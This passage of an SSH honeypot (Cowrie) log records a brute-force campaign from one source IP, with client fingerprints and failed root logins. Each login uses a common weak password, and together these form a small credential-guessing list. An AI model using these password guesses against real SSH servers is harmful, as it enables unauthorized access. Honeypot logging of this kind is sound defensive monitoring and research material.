h.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:27.693853Z","src_ip":"60.165.124.241","session":"c5686917e544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1!deshine","message":"login attempt [root/1!deshine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:28.447802Z","src_ip":"60.165.124.241","session":"c5686917e544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:29.700325Z","src_ip":"60.165.124.241","session":"c5686917e544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44658,"dst_ip":"10.17.0.5","dst_port":22,"session":"113b8ae0b05e","protocol":"ssh","message":"New connection: 60.165.124.241:44658 (10.17.0.5:22) [session: 113b8ae0b05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:29.920776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:29.925327Z","src_ip":"60.165.124.241","session":"113b8ae0b05e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:30.162012Z","src_ip":"60.165.124.241","session":"113b8ae0b05e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258..","message":"login attempt [root/Aa147258..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:30.887110Z","src_ip":"60.165.124.241","session":"113b8ae0b05e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:32.127196Z","src_ip":"60.165.124.241","session":"113b8ae0b05e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47888,"dst_ip":"10.17.0.5","dst_port":22,"session":"64a026b275e0","protocol":"ssh","message":"New connection: 60.165.124.241:47888 (10.17.0.5:22) [session: 64a026b275e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:32.359714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:32.364581Z","src_ip":"60.165.124.241","session":"64a026b275e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:32.602476Z","src_ip":"60.165.124.241","session":"64a026b275e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bt@123456","message":"login attempt [root/bt@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:33.323140Z","src_ip":"60.165.124.241","session":"64a026b275e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:34.565231Z","src_ip":"60.165.124.241","session":"64a026b275e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50952,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8b5ad9d5a5","protocol":"ssh","message":"New connection: 60.165.124.241:50952 (10.17.0.5:22) [session: cb8b5ad9d5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:34.797854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:34.803590Z","src_ip":"60.165.124.241","session":"cb8b5ad9d5a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:35.043651Z","src_ip":"60.165.124.241","session":"cb8b5ad9d5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor1234","message":"login attempt [root/toor1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:35.803714Z","src_ip":"60.165.124.241","session":"cb8b5ad9d5a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:37.042084Z","src_ip":"60.165.124.241","session":"cb8b5ad9d5a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53684,"dst_ip":"10.17.0.5","dst_port":22,"session":"1822786b366a","protocol":"ssh","message":"New connection: 60.165.124.241:53684 (10.17.0.5:22) [session: 1822786b366a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:37.286400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:37.291166Z","src_ip":"60.165.124.241","session":"1822786b366a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:37.542310Z","src_ip":"60.165.124.241","session":"1822786b366a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234560","message":"login attempt [root/1234560] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:38.265273Z","src_ip":"60.165.124.241","session":"1822786b366a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:39.514173Z","src_ip":"60.165.124.241","session":"1822786b366a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56720,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4493a8cd1bb","protocol":"ssh","message":"New connection: 60.165.124.241:56720 (10.17.0.5:22) [session: b4493a8cd1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:39.764981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:39.769906Z","src_ip":"60.165.124.241","session":"b4493a8cd1bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:40.019576Z","src_ip":"60.165.124.241","session":"b4493a8cd1bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#EDC","message":"login attempt [root/1qaz2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:40.752095Z","src_ip":"60.165.124.241","session":"b4493a8cd1bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:41.996387Z","src_ip":"60.165.124.241","session":"b4493a8cd1bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59818,"dst_ip":"10.17.0.5","dst_port":22,"session":"7065569a3a29","protocol":"ssh","message":"New connection: 60.165.124.241:59818 (10.17.0.5:22) [session: 7065569a3a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:42.254909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:42.259382Z","src_ip":"60.165.124.241","session":"7065569a3a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:42.509407Z","src_ip":"60.165.124.241","session":"7065569a3a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX","message":"login attempt [root/1qaz2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:43.250438Z","src_ip":"60.165.124.241","session":"7065569a3a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:44.499788Z","src_ip":"60.165.124.241","session":"7065569a3a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35020,"dst_ip":"10.17.0.5","dst_port":22,"session":"8055bb21a30d","protocol":"ssh","message":"New connection: 60.165.124.241:35020 (10.17.0.5:22) [session: 8055bb21a30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:44.766187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:44.771553Z","src_ip":"60.165.124.241","session":"8055bb21a30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:45.019679Z","src_ip":"60.165.124.241","session":"8055bb21a30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:45.776706Z","src_ip":"60.165.124.241","session":"8055bb21a30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:47.027741Z","src_ip":"60.165.124.241","session":"8055bb21a30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37716,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7aa6c5b2ad4","protocol":"ssh","message":"New connection: 60.165.124.241:37716 (10.17.0.5:22) [session: f7aa6c5b2ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:47.249943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:47.255534Z","src_ip":"60.165.124.241","session":"f7aa6c5b2ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:47.492262Z","src_ip":"60.165.124.241","session":"f7aa6c5b2ad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12!@qwQW","message":"login attempt [root/12!@qwQW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:48.210959Z","src_ip":"60.165.124.241","session":"f7aa6c5b2ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:49.452443Z","src_ip":"60.165.124.241","session":"f7aa6c5b2ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40812,"dst_ip":"10.17.0.5","dst_port":22,"session":"be45666b9f67","protocol":"ssh","message":"New connection: 60.165.124.241:40812 (10.17.0.5:22) [session: be45666b9f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:49.685780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:08:49.690524Z","src_ip":"60.165.124.241","session":"be45666b9f67","protocol":"ssh"}
